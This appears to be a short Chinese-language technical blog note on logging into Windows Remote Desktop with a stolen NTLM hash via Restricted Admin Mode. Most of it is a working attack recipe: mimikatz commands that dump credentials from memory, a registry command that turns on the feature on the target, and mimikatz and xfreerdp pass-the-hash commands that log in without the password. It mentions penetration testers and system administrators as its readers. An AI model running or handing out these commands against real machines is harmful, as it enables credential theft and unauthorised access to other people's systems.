摘要:记录一下使用NTLM直接登录远程桌面

系统要求

目标机的系统版本在Windows 8.1 或者 Windows Server 2012 R2 以上

Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R默认不支持,需要安装补丁2871997、2973351

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 "受限管理员" (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 "Restricted Admin Mode" 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。 Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。

登录方法

尽量使用windows下的xfreerdp登录。windows下的mimikatz总是有奇奇怪怪的问题。

windows环境

mimikatz 版本为 mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08。

(1)从目标机上获取NTLM hash
注意:下面命令都需要目标机的管理员权限才能运行。

mimikatz "log" "privilege::debug" "sekurlsa::logonpasswords full"

等同于下面的命令

mimikatz
log
privilege::debug
sekurlsa::logonpasswords full

(2)开启目标机的"Restricted Admin Mode"特性

# 在注册表创建DisableRestrictedAdmin项,值为0,代表开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 查询是否创建成功
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" 

(3) 使用NTLM进行登录

这里有个大坑,windows 11下mimikatz无法使用NTLM登录目标机。不知道为啥。这里使用windows 10专业版
windows 10下在以管理员身份运行mimikatz.exe,输入下列命令

privilege::debug
sekurlsa::pth /user:目标机用户名 /domain:目标机ip /ntlm:目标机的ntlmhash "/run:mstsc.exe /restrictedadmin"

然后会弹出个远程桌面的弹窗,用户名输入目标机用户名,密码任意输入即可。

linux环境

xfreerdp 版本为2.7。有人说新版本把pth这个功能去除了,不知道真假。

xfreerdp /pth:目标机的ntlmhash /u:目标机用户名 /v:目标机ip:目标机ip远程端口号 /tls-seclevel:0 /timeout:80000
文章目录